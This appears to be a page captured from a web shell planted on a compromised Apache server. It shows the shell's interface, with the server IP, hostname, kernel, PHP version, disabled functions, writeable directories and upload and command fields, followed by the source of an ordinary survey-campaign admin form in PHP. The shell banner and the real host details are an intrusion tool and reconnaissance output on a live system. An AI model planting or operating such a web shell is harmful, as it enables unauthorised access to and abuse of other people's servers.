403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/hkosl.com/survey_demo/webadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hkosl.com/survey_demo/webadmin/campaign_modifyform.php
<?php
	require_once('check_login.php');

	$id = (int)$_GET["id"];

	$row = get_campaign($id);

	$sql99        = "SELECT * FROM sys_cms_login WHERE cmsloginid=?";
	$parameters99 = array((int)$row{'lastupby'});
	$row99        = bind_pdo($sql99, $parameters99, "selectone");
?>
<!DOCTYPE html>
<html>
<head>
	<?php require_once('html_head.php'); ?>

	<script type="text/javascript" src="editor/tinymce.min.js"></script>
	<script type="text/javascript" src="editor/tinymce_init.js"></script>
	<script>
		tinymce_init(".desc", 800, 400);  //1.target element  2.width  3.height
	</script>

	<script>

		function show_not_request_login() {
			$(".not_request_login").show();
			$(".not_request_login input, .not_request_login select").removeAttr("disabled");
			$(".request_login").hide();
			$(".request_login input, .request_login select").attr("disabled", true);
		}

		function show_request_login() {
			$(".request_login").show();
			$(".request_login input, .request_login select").removeAttr("disabled");
			$(".not_request_login").hide();
			$(".not_request_login input, .not_request_login select").attr("disabled", true);
		}

		$(function () {
			$("#start_date").datepicker({dateFormat: 'yy-mm-dd'});
			$("#end_date").datepicker({dateFormat: 'yy-mm-dd'});

			<?php
			if($row["user_login"] == "NOT_REQUEST_LOGIN") {
				echo "show_not_request_login();";
			}else{
				echo "show_request_login();";
			}
			?>

			$("#not_request_login").on("click", function () {
				show_not_request_login();
			});

			$("#request_login").on("click", function () {
				show_request_login();
			});
		});
	</script>
</head>
<body>

<form action="campaign_modify.php" method="post" name="modifyform" enctype="multipart/form-data">
	<input type="hidden" name="id" value="<?= $row{'id'}; ?>">
	<table width="1000" border="0" cellpadding="0" cellspacing="0">
		<tr>
			<td height="70" align="right" valign="middle" class="icontxt">
				<table border="0" cellpadding="0" cellspacing="0">
					<tr>
						<td width="50" align="center" style="font-size: 12px;">
							<input type="image" alt="submit" src="images/iconSave.png" width="32" height="32" border="0"><br>
							&nbsp;Save&nbsp;&nbsp;</a></td>
						<td width="50" align="center">
							<a href="campaign_index.php?msg=4"><img src="images/iconCancel.png" alt="Cancel" width="32" height="32" border="0"><br>
								&nbsp;Cancel&nbsp;&nbsp;</a></td>
						<td>&nbsp;</td>
					</tr>
				</table>
			</td>
		</tr>
		<tr>
			<td>
				<span style="float:left;" class="pagetitletxt">
					&nbsp;&nbsp;<b><img src="images/iconList.jpg" width="48" height="48" align="absmiddle"/> Modify
						Campaign </b></span><span style="float:right;" class="msg">Last
					Update: <?= $row99{'cmsusername'} . '&nbsp;&nbsp;&nbsp;' . $row{'lastupdate'}; ?></span>
			</td>
		</tr>
		<tr>
			<td align="left" valign="middle"><!-- Content -->
				<table border="0" cellpadding="0" cellspacing="0">

					<tr>
						<td width="120" align="right" valign="top" class='content required_field'>Campaign URL
						</td>
						<td class='content' valign="top">:&nbsp;</td>
						<td class='content'>
							<a href="<?= $site_info["url"] . "campaign.php?id=" . $row["id"] ?>" target="_blank">
								<?= $site_info["url"] . "campaign.php?id=" . $row["id"] ?>
							</a> <br><br>
						</td>
					</tr>

					<?php foreach ($arraylangcode as $langcode => $langname) { ?>
						<tr>
							<td width="120" align="right" valign="top" class='content required_field'>
								Name<br/>[<?= $langname; ?>]
							</td>
							<td class='content' valign="top">:&nbsp;</td>
							<td class='content'>
								<input type="text" class="content" name="name_<?= $langcode ?>" value="<?= $row["name_" . $langcode] ?>" style="width: 500px;" required/>
								<br><br>
							</td>
						</tr>
					<?php } ?>

					<tr>
						<td width="120" align="right" valign="top" class='content required_field'>Background Image</td>
						<td width="5" valign="top" class='content'>:&nbsp;</td>
						<td class='content'><?php if ($row["background_img"] <> '') { ?>
								<img src="../images/<?= $row["background_img"]; ?>" style="max-width: 500px;"/><br>
								<input type="checkbox" name="delimage" value="1">Delete Image<br/><br/>
							<?php } ?>
							<input name="background_img" type="file" class="content"/><br/>

							<span class="msg">Image format: gif,jpg,png | File Size: < 2M</span> <br><br>
						</td>
					</tr>

					<tr>
						<td width="120" align="right" valign="top" class='content required_field'>User Login
						</td>
						<td class='content' valign="top">:&nbsp;</td>
						<td class='content'>
							<input type="radio" class="content" name="user_login" value="NOT_REQUEST_LOGIN" <?= $row["user_login"] == "NOT_REQUEST_LOGIN" ? "checked" : "" ?> id="not_request_login" required/>
							Not Request Login
							<input type="radio" class="content" name="user_login" value="REQUEST_LOGIN" <?= $row["user_login"] == "REQUEST_LOGIN" ? "checked" : "" ?> id="request_login" required/>
							Request Login and Registration <br><br>
						</td>
					</tr>

					<tr>
						<td width="120" align="right" valign="top" class='content required_field'>Start Date
						</td>
						<td class='content' valign="top">:&nbsp;</td>
						<td class='content'>
							<input type="text" class="content" name="start_date" value="<?= $row["start_date"] ?>" id="start_date" required/>
							<br><br>
						</td>
					</tr>

					<tr>
						<td width="120" align="right" valign="top" class='content required_field'>End Date
						</td>
						<td class='content' valign="top">:&nbsp;</td>
						<td class='content'>
							<input type="text" class="content" name="end_date" value="<?= $row["end_date"] ?>" id="end_date" required/>
							<br><br>
						</td>
					</tr>

					<?php
						$editor_list = array("Survey Introduction", "First Page Description", "Thank You Page", "Email Content", "Terms & Conditions");
						foreach ($editor_list as $desc_num => $editor) {
							foreach ($arraylangcode as $langcode => $langname) { ?>
								<tr>
									<td width="120" align="right" valign="top" class='content'>
										<?= $editor ?><br/>[<?= $langname; ?>]
									</td>
									<td width="5" valign="top" class='content'>:&nbsp;</td>
									<td class='content'>
										<textarea class="desc" name="desc<?= $desc_num + 1 ?>_<?= $langcode ?>"><?= $row["desc" . ($desc_num + 1) . "_" . $langcode] ?></textarea>
										<br><span class="msg"></span><br><br>
									</td>

								</tr>
							<?php }
						} ?>

					<tr>
						<td width="120" align="right" valign="top" class='content'></td>
						<td class='content' valign="top"></td>
						<td class='content red'>
							<br> * Required Field <br><br><br>
						</td>
					</tr>

				</table>
			</td>
		</tr>
	</table>
</form>
</body>
</html>


Youez - 2016 - github.com/yon3zu
LinuXploit